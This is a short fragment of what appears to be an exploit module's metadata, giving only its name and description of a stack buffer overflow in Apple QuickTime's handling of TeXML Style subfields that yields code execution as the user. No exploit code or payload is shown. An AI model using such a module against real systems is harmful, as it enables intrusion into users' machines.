'Name' => 'Apple QuickTime TeXML Style Element Stack Buffer Overflow',

'Description' => %q{
|
|
This module exploits a vulnerability found in Apple QuickTime. When handling
|
|
a TeXML file, it is possible to trigger a stack-based buffer overflow, and then
|
|
gain arbitrary code execution under the context of the user. This is due to the
|
|
QuickTime3GPP.gtx component not handling certain Style subfields properly, storing
|
|
user-supplied data on the stack, which results the overflow.
